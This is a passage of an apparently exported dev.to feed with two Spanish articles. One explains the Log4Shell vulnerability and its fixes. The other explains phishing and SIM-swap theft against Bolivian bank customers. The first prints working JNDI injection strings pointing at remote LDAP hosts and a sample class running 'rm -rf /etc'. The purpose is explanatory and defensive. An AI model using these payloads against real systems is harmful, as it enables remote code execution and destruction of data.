&lt;span class="nc"&gt;System&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;out&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;println&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Successful transfer from: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;sourceAccount&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
                  &lt;span class="s"&gt;" to: "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;targetAccount&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; 
                  &lt;span class="s"&gt;", amount:"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt; &lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// Con Log4J&lt;/span&gt;
&lt;span class="no"&gt;LOG&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;INFO&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Successful transfer from: {} to: {}, amount: {}"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt;
                  &lt;span class="n"&gt;sourceAccount&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;targetAccount&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;amount&lt;/span&gt; &lt;span class="o"&gt;);&lt;/span&gt; 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Log4J nos permite incluir &lt;code&gt;{}&lt;/code&gt;, donde queramos imprimir una variable. Esta forma de imprimir variables es conveniente y se utiliza en la mayoría de herramientas de registros de log. &lt;/p&gt;

&lt;h2&gt;
  
  
  Parametrización de configuraciones
&lt;/h2&gt;

&lt;p&gt;Log4J permite parametrizar sus configuraciones (por ejemplo en que carpeta se depositaran los logs), reemplazando valores desde diversas fuentes: variables de entorno del sistema operativo, archivos de configuración, Kubernetes, JNDI, etc.. Es esta ultima característica &lt;a href="https://logging.apache.org/log4j/2.x/manual/lookups.html#JndiLookup"&gt;JNDI Lookup&lt;/a&gt; la que puede ser explotada. JNDI es una librería que permite consultar variables de árboles de directorios como ActiveDirectory, es muy utilizada en entornos Java Enterprise Edition. &lt;/p&gt;

&lt;p&gt;La idea es colocar la dirección de una variable en el LDAP para que esta sea reemplazada en la configuración, así lo siguiente:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;File&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Application"&lt;/span&gt; &lt;span class="na"&gt;fileName=&lt;/span&gt;&lt;span class="s"&gt;"application.log"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;PatternLayout&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;pattern&amp;gt;&lt;/span&gt;%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n&lt;span class="nt"&gt;&amp;lt;/pattern&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/PatternLayout&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/File&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Consultoría en el LDAP interno del servidor de aplicaciones (Weblogic, Wildfly, Websphere, etc) el valor &lt;code&gt;logging/context-name&lt;/code&gt; para colocarlo en los mensajes de log.&lt;/p&gt;

&lt;p&gt;El problema es que la invocación JNDI no se limita al LDAP interno, sino que puede invocar a LDAPs externos, por ejemplo: &lt;code&gt;$${jndi:ldap://10.0.0.1:1389/o=context-name}&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  JNDI y LDAP no solo sirven para consultar parámetros.
&lt;/h3&gt;

&lt;p&gt;Una característica, que se debe utilizar con cuidado, de JNDI y LDAP es que los directorios ademas de almacenar variables comunes (cadenas, enteros, decimales, etc.), también pueden almacenar objetos Java, los que por medio de &lt;code&gt;Serialization&lt;/code&gt; permiten cargar código remoto, así si por ejemplo en &lt;code&gt;$${jndi:ldap://10.0.0.1:1389/o=remote-object}&lt;/code&gt;, se tiene almacenada la siguiente clase:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="kd"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;RemoteObject&lt;/span&gt; &lt;span class="kd"&gt;implements&lt;/span&gt; &lt;span class="n"&gt;javax&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;naming&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;spi&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;ObjectFactory&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="kd"&gt;public&lt;/span&gt; &lt;span class="nf"&gt;RemoteObject&lt;/span&gt;&lt;span class="o"&gt;()&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
            &lt;span class="nc"&gt;Runtime&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getRuntime&lt;/span&gt;&lt;span class="o"&gt;().&lt;/span&gt;&lt;span class="na"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"rm -rf /etc"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Al consultar esa ruta LDAP via JNDI, nuestro programa intentaría eliminar el contenido de la carpeta &lt;code&gt;/etc&lt;/code&gt;. En realidad podría ejecutar cualquier comando. &lt;/p&gt;

&lt;h3&gt;
  
  
  JNDI y el reemplazo de variables.
&lt;/h3&gt;

&lt;p&gt;Sucede que las versiones &lt;code&gt;2.0-beta9 &amp;lt;= Apache log4j &amp;lt;= 2.14.1&lt;/code&gt; al momento de realizar el reemplazo de variables, si en una cadena tienen el siguiente formato: &lt;code&gt;${jndi:ldap://REMOTE_SERVER:PORT/PATH}&lt;/code&gt; intentarán realizar un &lt;code&gt;lookup&lt;/code&gt; JNDI al servidor remoto en la ruta específica, si el servidor remoto es un servidor malicioso puede responder con una clase Java serializada con código malicioso.&lt;/p&gt;

&lt;h3&gt;
  
  
  Entonces repasémoos cómo funciona la vulnerabilidad.
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Los desarrolladores utilizan una versión afectada de Log4J para registrar lo que él usuario ingresa en la interfaz de usuario.&lt;/li&gt;
&lt;li&gt;El atacante conoce que el sistema es vulnerable, luego comienza a utilizar la aplicación guardando, por ejemplo en un formulario de registro, en lugar de nombre, apellido o dirección el valor: ${jndi:ldap://131.0.196.58:1389/o=RemoteCode}&lt;/li&gt;
&lt;li&gt;Log4J procesa la cadena por reemplazo de variables, e intenta contactar con el servidor remoto malicioso.&lt;/li&gt;
&lt;li&gt;Nuestro código descarga el código malicioso y lo ejecuta.&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Es difícil montar un servidor JNDI malicioso
&lt;/h3&gt;

&lt;p&gt;NO. De hecho este proyecto demuestra lo sencillo que es: &lt;a href="https://github.com/veracode-research/rogue-jndi"&gt;https://github.com/veracode-research/rogue-jndi&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Cómo resolver la vulnerabilidad?
&lt;/h2&gt;

&lt;p&gt;Los programadores que dan mantenimiento a Log4J 2 ya han liberado la versión 2.15, lo mas recomendable es actualizar nuestro software a esta versión.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://aws.amazon.com/blogs/opensource/hotpatch-for-apache-log4j/"&gt;Amazon a liberado un agente&lt;/a&gt; que permite colocar un parche para remediar la vulnerabilidad, lo bueno de este agente es que permite una corrección sin parar la aplicación.&lt;/p&gt;

&lt;p&gt;Si no puede actualizar la librería, RedHat ha publicado instrucciones sobre &lt;a href="https://access.redhat.com/security/cve/cve-2021-44228"&gt;cómo mitigar el problema&lt;/a&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>log4j</category>
      <category>spanish</category>
      <category>java</category>
    </item>
    <item>
      <title>¿Es seguro realizar operaciones por banca digital en Bolivia?</title>
      <dc:creator>Ernesto Campohermoso</dc:creator>
      <pubDate>Tue, 19 Oct 2021 14:36:54 +0000</pubDate>
      <link>https://dev.to/cirrus-it/es-seguro-realizar-operaciones-por-banca-digital-en-bolivia-47ee</link>
      <guid>https://dev.to/cirrus-it/es-seguro-realizar-operaciones-por-banca-digital-en-bolivia-47ee</guid>
      <description>&lt;p&gt;El pasado domingo 17 de octubre, el periódico Página 7 publicó una &lt;a href="https://www.paginasiete.bo/seguridad/2021/10/17/al-menos-14-personas-sufrieron-robo-virtual-de-sus-cuentas-del-banco-union-312386.html"&gt;noticia&lt;/a&gt; indicando que al menos 14 personas sufrieron un robo virtual de sus cuentas del Banco Unión S.A.; esta noticia inmediatamente provocó dudas y susceptibilidades en la población respecto a sí: ¿Es seguro realizar operaciones por Banca Digital en Bolivia?&lt;/p&gt;

&lt;p&gt;En CIRRUS IT SRL, hemos construido una plataforma de banca digital : &lt;a href="https://bancadigital.com.bo"&gt;https://bancadigital.com.bo&lt;/a&gt;, en base a esta experiencia, a continuación tratare de responder algunas preguntas que nos realizaron en estos días:&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Es posible despertar un día y constatar que existan transferencias de dinero, desde mi cuenta, que yo no hice?
&lt;/h2&gt;

&lt;p&gt;Si es posible. En este caso lo más probable es que usted haya sido víctima de un ataque, en el que por medio de un sitio falso le hayan capturado su usuario y contraseña de Banca Digital, a este tipo de ataques se los denomina Phishing (mas adelante se explica en detalle y con ejemplos).&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Puede un funcionario o empleado de una Entidad Financiera tener acceso a mi información personal?
&lt;/h2&gt;

&lt;p&gt;No sin control. En tecnología existen &lt;a href="https://www.escuelaeuropeaexcelencia.com/2019/09/como-gestionar-los-controles-de-acceso-segun-iso-27001/"&gt;estándares internacionales&lt;/a&gt; de seguridad para gestionar quienes pueden acceder a la información de los clientes. Además la Autoridad del Sistema Financiero también establece normas con las condiciones mínimas de seguridad que deben cumplir las Entidades Financieras &lt;a href="https://servdmzw.asfi.gob.bo/circular/textos/L03T07.pdf"&gt;(ver. sección 4)&lt;/a&gt; . El cumplimiento de estas normas son verificadas periódicamente por auditorias externas contratadas por las Entidades Financieras y también por auditorias realizadas por las ASFI.&lt;/p&gt;

&lt;h2&gt;
  
  
  A pesar del control que realizan las Entidades Financieras: ¿Puede un funcionario o empleado tener acceso a mi contraseña de Banca Digital?
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;No&lt;/em&gt;. A menos que se trate de un error grave de diseño (lo cual no ocurre por lo explicado anteriormente), los sistemas de Banca Digital no almacenan su contraseña. Existen algoritmos criptográficos, denominados (funciones hash)[&lt;a href="https://latam.kaspersky.com/blog/que-es-un-hash-y-como-funciona/2806/"&gt;https://latam.kaspersky.com/blog/que-es-un-hash-y-como-funciona/2806/&lt;/a&gt;], que permiten almacenar una representación diferente de su contraseña, si alguien tuviera acceso a esta representación es imposible transformarla de nuevo en su contraseña original.&lt;/p&gt;

&lt;h2&gt;
  
  
  Entonces: ¿Cómo alguien puede acceder a mi cuenta de Banca Digital?
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;Phishing&lt;/em&gt;. Este tipo de ataque es muy común a nivel mundial y Bolivia no es la excepción, los atacantes (ladrones) construyen un sitio con aspecto idéntico al de su Entidad Financiera, luego le envían mensajes por: correo electrónico, WhatsApp, SMS o publicidad en redes sociales; para que usted ingrese a ellos creyendo que está en el sitio de su banco, y de esta manera ingrese su usuario y contraseña, es en este momento donde usted pierde sus credenciales de acceso y los atacantes tienen acceso a sus cuentas digitales.&lt;/p&gt;

&lt;p&gt;Veamos algunos ejemplos en Bolivia.&lt;/p&gt;

&lt;h3&gt;
  
  
  Phishing utilizando publicidad en redes sociales, buscando atacar a clientes del Banco Nacional de Bolivia.
&lt;/h3&gt;

&lt;p&gt;Analice la siguiente publicidad reportada por un usuario de Twitter:&lt;br&gt;
&lt;/p&gt;
&lt;blockquote class="ltag__twitter-tweet"&gt;
      &lt;div class="ltag__twitter-tweet__media"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--KTYpjUi8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://pbs.twimg.com/media/FBmj21uWUAEUZCh.jpg" alt="unknown tweet media content"&gt;
      &lt;/div&gt;

  &lt;div class="ltag__twitter-tweet__main"&gt;
    &lt;div class="ltag__twitter-tweet__header"&gt;
      &lt;img class="ltag__twitter-tweet__profile-image" src="https://res.cloudinary.com/practicaldev/image/fetch/s--Dqq1REaG--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://pbs.twimg.com/profile_images/1438736994226606080/_L1t3Ebs_normal.jpg" alt="Luis Ernesto profile image"&gt;
      &lt;div class="ltag__twitter-tweet__full-name"&gt;
        Luis Ernesto
      &lt;/div&gt;
      &lt;div class="ltag__twitter-tweet__username"&gt;
        @theflakitonet
      &lt;/div&gt;
      &lt;div class="ltag__twitter-tweet__twitter-logo"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ir1kO05j--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/twitter-f95605061196010f91e64806688390eb1a4dbc9e913682e043eb8b1e06ca484f.svg" alt="twitter logo"&gt;
      &lt;/div&gt;
    &lt;/div&gt;
    &lt;div class="ltag__twitter-tweet__body"&gt;
      Cuidado, está circulando está página con publicidad pagada, con un dominio diferente al oficial, te redirige a un portal login para colocar tus datos y uno que está bloqueado en la página oficial del banco, ni como avisarles. 
    &lt;/div&gt;
    &lt;div class="ltag__twitter-tweet__date"&gt;
      19:23 PM - 13 Oct 2021
    &lt;/div&gt;


    &lt;div class="ltag__twitter-tweet__actions"&gt;
      &lt;a href="https://twitter.com/intent/tweet?in_reply_to=1448368921514418176" class="ltag__twitter-tweet__actions__button"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--fFnoeFxk--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/twitter-reply-action-238fe0a37991706a6880ed13941c3efd6b371e4aefe288fe8e0db85250708bc4.svg" alt="Twitter reply action"&gt;
      &lt;/a&gt;
      &lt;a href="https://twitter.com/intent/retweet?tweet_id=1448368921514418176" class="ltag__twitter-tweet__actions__button"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--k6dcrOn8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/twitter-retweet-action-632c83532a4e7de573c5c08dbb090ee18b348b13e2793175fea914827bc42046.svg" alt="Twitter retweet action"&gt;
      &lt;/a&gt;
      &lt;a href="https://twitter.com/intent/like?tweet_id=1448368921514418176" class="ltag__twitter-tweet__actions__button"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--SRQc9lOp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/twitter-like-action-1ea89f4b87c7d37465b0eb78d51fcb7fe6c03a089805d7ea014ba71365be5171.svg" alt="Twitter like action"&gt;
      &lt;/a&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/blockquote&gt;
&lt;br&gt;
A simple vista parece una oferta legitima del BNB, pero el el enlace en la parte inferior del arte dice: &lt;code&gt;https://BBNPORTALPRINCIPAL.COM&lt;/code&gt;, no se trata de una publicidad emitida por BNB, si algún usuario despistado hiciera click en la publicidad lo llevaría a un &lt;em&gt;sitio falso&lt;/em&gt; con la misma interfaz que la del BNB:&lt;br&gt;
&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--XBXc_Oxw--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://pbs.twimg.com/media/FBmlmvNXEAwLO2_%3Fformat%3Djpg%26name%3Dlarge" alt="Sitio falso con imagen BNB"&gt;

&lt;h3&gt;
  
  
  Phishing utilizando publicidad en redes sociales, buscando atacar a clientes del Banco Unión.
&lt;/h3&gt;

&lt;p&gt;El ODIB &lt;a href="https://www.odibolivia.org/2020/12/07/nuevo-ataque-de-phishing-bono-contra-el-hambre/"&gt;documentó&lt;/a&gt; el siguiente ataque: El pasado año se emitió el Bono contra el hambre, mismo que fue cancelado directamente en cuentas bancarias, atacantes aprovecharon la oportunidad y la premura de las personas para cobrarlo, publicaron el siguiente anuncio haciéndose pasar por el Ministerio de Trabajo. &lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--DWc51Fg---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y4td2k1oujnhowv5qx8o.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--DWc51Fg---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/y4td2k1oujnhowv5qx8o.png" alt="Publicidad falsa"&gt;&lt;/a&gt; luego de que el usuario hiciera clic, lo derivaba a una página falsa con un aspecto similar a la Banca Digital del Banco Unión: &lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--0beqdf9H--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/f2lkr1ysi2rcil38m8ma.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--0beqdf9H--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/f2lkr1ysi2rcil38m8ma.png" alt="Página falsa del Banco Unión"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  ¿Puede un atacante realizar transferencias solo con mi usuario y contraseña?
&lt;/h2&gt;

&lt;p&gt;&lt;em&gt;No&lt;/em&gt;. El Banco Central de Bolivia mediante &lt;a href="https://www.bcb.gob.bo/webdocs/sistema_pagos/CIEX_N_3-2020_Requerimientos_Op_Minimos_Seguridad_IEP.pdf"&gt;Circular Externa&lt;/a&gt; establece que las transferencias deben cumplir un proceso de doble factor de autenticación para confirmar una trasferencia bancaria. El doble factor de autenticación consiste en que el banco debe realizar al menos dos de los siguientes tres controles, para verificar la identidad del usuario:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Verificar "algo que se": Este control se lo realiza con el usuario y contraseña, que debería ser un dato que únicamente usted conoce.&lt;/li&gt;
&lt;li&gt;Verificar "algo que tengo": Este control se lo realiza de diferente formas siendo las mas comunes: El envío de un SMS a su celular (que es algo que solo usted tiene) o con el ingreso de un código de un solo uso (que se genera mediante una aplicación separada o generadores físicos).&lt;/li&gt;
&lt;li&gt;Verificar "algo que soy": Este control puede realizarse de manera biométrica, hoy en día no se utiliza este medio en Bolivia.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Entonces: ¿Cómo realizaron el ataque a los clientes del Banco Unión?
&lt;/h2&gt;

&lt;p&gt;Parte de los clientes del Banco Unión utiliza como método de doble factor los mensajes SMS, desafortunadamente este medio tiene el inconveniente de que las empresas telefónicas proporcionan medios convenientes para la obtención del chip en caso de pérdida de teléfonos.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Tigo: permite a travez de sus Tigomatic (maquinas de autoservicio similares a los cajeros automáticos), obtener el chip de cualquier persona proporcionando su número de celular, fecha de nacimiento, numero de carnet y numero de teléfono.&lt;/li&gt;
&lt;li&gt;Entel: &lt;a href="https://institucional.entel.bo/inicio3.0/index.php/internet/nuestros-servicios/internet-4g/51-atc-preguntas-frecuentes-2/218-preguntas-frecuentes-6"&gt;Permite&lt;/a&gt; recabar el chip a terceros, siempre y cuando presenten una fotocopia de carnet del titular, una carta remitida por el titular y una fotocopia de carnet del que recibe el chip.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Pero: ¿Cómo obtuvieron los atacantes los datos personales de las victimas?
&lt;/h2&gt;

&lt;p&gt;Desafortunadamente en Bolivia no existe una normativa de protección a los datos personales y su tratamiento, como &lt;a href="https://eur-lex.europa.eu/legal-content/ES/TXT/?qid=1532348683434&amp;amp;uri=CELEX%3A02016R0679-20160504"&gt;por ejemplo&lt;/a&gt; en Europa. Esto hace que las empresas e instituciones publicas no sigan procedimientos adecuados para custodiar nuestros datos. Algunos ejemplos de dónde se encuentran nuestros datos:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Todos los tramites del gobierno y entidades privadas donde nos piden varias fotocopias de carnet (algunos también piden que coloquemos nuestro numero de teléfono), para absolutamente todo. ¿Se ha puesto a pensar cuántas fotocopias de carnet a entregado en los últimos años?.&lt;/li&gt;
&lt;li&gt;Acceso a nuestros datos directamente desde el SEGIP, mediante &lt;a href="https://www.lexivox.org/norms/BO-L-N1057.html"&gt;normativa&lt;/a&gt; las instituciones del estado tienen acceso a nuestra información. El SEGIP tambien tiene convenios con Entidades Financieras para que ellas puedan consultar nuestros datos sin solicitarnos consentimiento.&lt;/li&gt;
&lt;li&gt;Ataques de phishing (si otra vez) para captar nuestros datos personales, por ejemplo estos anuncios: &lt;blockquote class="ltag__twitter-tweet"&gt;
      &lt;div class="ltag__twitter-tweet__media"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--PjlDuSRc--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://pbs.twimg.com/media/EyTasXgXMAM3hfk.jpg" alt="unknown tweet media content"&gt;
      &lt;/div&gt;

  &lt;div class="ltag__twitter-tweet__main"&gt;
    &lt;div class="ltag__twitter-tweet__header"&gt;
      &lt;img class="ltag__twitter-tweet__profile-image" src="https://res.cloudinary.com/practicaldev/image/fetch/s--fBSA7q1z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://pbs.twimg.com/profile_images/1424746380963221508/VjCnQ2j5_normal.jpg" alt="Bolivia V. profile image"&gt;
      &lt;div class="ltag__twitter-tweet__full-name"&gt;
        Bolivia V.
      &lt;/div&gt;
      &lt;div class="ltag__twitter-tweet__username"&gt;
        @boliviaverif1ca
      &lt;/div&gt;
      &lt;div class="ltag__twitter-tweet__twitter-logo"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ir1kO05j--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/twitter-f95605061196010f91e64806688390eb1a4dbc9e913682e043eb8b1e06ca484f.svg" alt="twitter logo"&gt;
      &lt;/div&gt;
    &lt;/div&gt;
    &lt;div class="ltag__twitter-tweet__body"&gt;
      Toyota Bolivia no emitió un link sobre «celebración del 100 aniversario». &lt;br&gt;&lt;br&gt;Se trata de una página phishing, mediante la cual se extraen datos confidenciales. Por favor, no ingrese a enlaces desconocidos. &lt;br&gt;&lt;br&gt;&lt;a href="https://twitter.com/hashtag/BoliviaVerifica"&gt;&lt;/a&gt;&lt;a href="https://twitter.com/hashtag/Bolivia"&gt;#Bolivia&lt;/a&gt;Verifica &lt;a href="https://twitter.com/hashtag/Bolivia"&gt;#Bolivia&lt;/a&gt; &lt;a href="https://twitter.com/hashtag/Falso"&gt;#Falso&lt;/a&gt; 
    &lt;/div&gt;
    &lt;div class="ltag__twitter-tweet__date"&gt;
      16:15 PM - 06 Apr 2021
    &lt;/div&gt;


    &lt;div class="ltag__twitter-tweet__actions"&gt;
      &lt;a href="https://twitter.com/intent/tweet?in_reply_to=1379467887128219648" class="ltag__twitter-tweet__actions__button"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--fFnoeFxk--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/twitter-reply-action-238fe0a37991706a6880ed13941c3efd6b371e4aefe288fe8e0db85250708bc4.svg" alt="Twitter reply action"&gt;
      &lt;/a&gt;
      &lt;a href="https://twitter.com/intent/retweet?tweet_id=1379467887128219648" class="ltag__twitter-tweet__actions__button"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--k6dcrOn8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/twitter-retweet-action-632c83532a4e7de573c5c08dbb090ee18b348b13e2793175fea914827bc42046.svg" alt="Twitter retweet action"&gt;
      &lt;/a&gt;
      &lt;a href="https://twitter.com/intent/like?tweet_id=1379467887128219648" class="ltag__twitter-tweet__actions__button"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--SRQc9lOp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/twitter-like-action-1ea89f4b87c7d37465b0eb78d51fcb7fe6c03a089805d7ea014ba71365be5171.svg" alt="Twitter like action"&gt;
      &lt;/a&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/blockquote&gt;
 &lt;blockquote class="ltag__twitter-tweet"&gt;
      &lt;div class="ltag__twitter-tweet__media"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--8L2DNImC--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://pbs.twimg.com/media/EtaITuaXcAwmDYv.jpg" alt="unknown tweet media content"&gt;
      &lt;/div&gt;

  &lt;div class="ltag__twitter-tweet__main"&gt;
    &lt;div class="ltag__twitter-tweet__header"&gt;
      &lt;img class="ltag__twitter-tweet__profile-image" src="https://res.cloudinary.com/practicaldev/image/fetch/s--fBSA7q1z--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://pbs.twimg.com/profile_images/1424746380963221508/VjCnQ2j5_normal.jpg" alt="Bolivia V. profile image"&gt;
      &lt;div class="ltag__twitter-tweet__full-name"&gt;
        Bolivia V.
      &lt;/div&gt;
      &lt;div class="ltag__twitter-tweet__username"&gt;
        @boliviaverif1ca
      &lt;/div&gt;
      &lt;div class="ltag__twitter-tweet__twitter-logo"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ir1kO05j--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/twitter-f95605061196010f91e64806688390eb1a4dbc9e913682e043eb8b1e06ca484f.svg" alt="twitter logo"&gt;
      &lt;/div&gt;
    &lt;/div&gt;
    &lt;div class="ltag__twitter-tweet__body"&gt;
      ¿Te llegó un link con el anuncio de que Entel tiene regalos para sus clientes? No des clic, es phishing&lt;br&gt;&lt;br&gt;¿Quieres saber más? &amp;gt;&amp;gt; &lt;a href="https://t.co/fVBg5NhVDg"&gt;bit.ly/3cFWtnu&lt;/a&gt;&lt;br&gt;&lt;br&gt;&lt;a href="https://twitter.com/hashtag/BoliviaVerifica"&gt;&lt;/a&gt;&lt;a href="https://twitter.com/hashtag/Bolivia"&gt;#Bolivia&lt;/a&gt;Verifica &lt;a href="https://twitter.com/hashtag/Bolivia"&gt;#Bolivia&lt;/a&gt; &lt;a href="https://twitter.com/hashtag/Falso"&gt;#Falso&lt;/a&gt; 
    &lt;/div&gt;
    &lt;div class="ltag__twitter-tweet__date"&gt;
      20:14 PM - 04 Feb 2021
    &lt;/div&gt;


    &lt;div class="ltag__twitter-tweet__actions"&gt;
      &lt;a href="https://twitter.com/intent/tweet?in_reply_to=1357422273364393988" class="ltag__twitter-tweet__actions__button"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--fFnoeFxk--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/twitter-reply-action-238fe0a37991706a6880ed13941c3efd6b371e4aefe288fe8e0db85250708bc4.svg" alt="Twitter reply action"&gt;
      &lt;/a&gt;
      &lt;a href="https://twitter.com/intent/retweet?tweet_id=1357422273364393988" class="ltag__twitter-tweet__actions__button"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--k6dcrOn8--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/twitter-retweet-action-632c83532a4e7de573c5c08dbb090ee18b348b13e2793175fea914827bc42046.svg" alt="Twitter retweet action"&gt;
      &lt;/a&gt;
      &lt;a href="https://twitter.com/intent/like?tweet_id=1357422273364393988" class="ltag__twitter-tweet__actions__button"&gt;
        &lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--SRQc9lOp--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://dev.to/assets/twitter-like-action-1ea89f4b87c7d37465b0eb78d51fcb7fe6c03a089805d7ea014ba71365be5171.svg" alt="Twitter like action"&gt;
      &lt;/a&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/blockquote&gt;
